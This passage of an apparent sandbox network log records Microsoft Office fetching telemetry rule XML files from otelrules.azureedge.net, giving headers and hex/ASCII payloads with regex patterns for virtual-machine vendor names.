Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:50 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 671fd92a-701e-0097-24e1-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041151Z-178bfbc474bxkclvhC1NYC69g400000005fg000000000xvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:50 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041151Z-174c587ffdfp4vpjhC1TEBybqw00000003z00000000052u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:50 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041151Z-15b8b599d88l2dpthC1TEBmzr000000003y00000000048u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:51 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:52 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041153Z-174c587ffdfb5q56hC1TEB04kg00000003tg00000000ebfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:53 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:52 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041153Z-178bfbc474bmqmgjhC1NYCy16c00000005n0000000000st3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:52 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:53 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5c8e7bca-d01e-0049-4f4b-3ce7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041153Z-15b8b599d886w4hzhC1TEBb4ug00000003wg00000000gsgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:53 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:53 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f5c58262-401e-00ac-04df-3d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041153Z-178bfbc474brk967hC1NYCfu60000000056000000000dqxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041153Z-174c587ffdftjz9shC1TEBsh9800000003p000000000rat0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:55 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:55 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041155Z-15b8b599d88phfhnhC1TEBr51n000000040g00000000byv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:56 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:55 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:55 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c1df62f0-301e-0099-5a1b-3d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041155Z-178bfbc474bv7whqhC1NYC1fg400000005gg000000003kfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:56 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041155Z-174c587ffdfp4vpjhC1TEBybqw00000003u000000000p08p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041155Z-174c587ffdf7t49mhC1TEB4qbg00000003u000000000d15r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
